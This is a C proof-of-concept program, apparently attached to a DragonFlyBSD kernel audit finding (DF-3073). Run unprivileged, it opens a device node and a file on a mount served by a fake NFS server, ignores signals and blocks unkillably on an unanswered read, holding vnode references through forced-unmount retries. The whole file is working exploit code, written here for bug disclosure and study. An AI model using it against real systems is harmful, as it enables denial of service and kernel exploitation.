⬢ DragonFlyBSD Kernel Audit
DF-3073 / holder.c
← back to finding ↓ download raw
/*
 * holder.c - unprivileged holder for DF-3073
 *
 *   holder <mountpoint>
 *
 * 1. opens <mp>/dev   - the server-supplied VCHR node (rdev 14:2 = /dev/null)
 * 2. opens <mp>/slow  - a regular file
 * 3. reads <mp>/slow  - the fake server never answers the READ RPC, and the
 *                       mount is hard/non-interruptible, so this process
 *                       sleeps unkillably with BOTH descriptors open.
 *
 * The open /dev vnode keeps VREFCNT>1 across umount -f's kill-retry loop
 * (SIGINT at retry 3 / SIGKILL at retry 7 cannot be delivered while we are
 * blocked in the uninterruptible nfs_request tsleep).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>

int
main(int argc, char **argv)
{
	char path[256];
	char buf[8];
	int fd1, fd2, n;

	if (argc != 2) {
		fprintf(stderr, "usage: holder <mountpoint>\n");
		exit(2);
	}
	signal(SIGINT, SIG_IGN);
	signal(SIGTERM, SIG_IGN);
	signal(SIGHUP, SIG_IGN);

	snprintf(path, sizeof(path), "%s/dev", argv[1]);
	fd1 = open(path, O_RDONLY);
	if (fd1 < 0) {
		perror("open dev");
		exit(1);
	}
	printf("DEV_OPEN_OK\n");
	fflush(stdout);

	snprintf(path, sizeof(path), "%s/slow", argv[1]);
	fd2 = open(path, O_RDONLY);
	if (fd2 < 0) {
		perror("open slow");
		exit(1);
	}
	printf("SLOW_OPEN_OK\n");
	fflush(stdout);

	printf("READ_BLOCKING\n");
	fflush(stdout);

	/* blocks forever: hard mount, server withholds the reply */
	n = read(fd2, buf, sizeof(buf));
	/* not reached on a live bug run */
	printf("READ_RETURNED n=%d errno=%d\n", n, n < 0 ? 0 : 0);
	fflush(stdout);
	pause();
	return (0);
}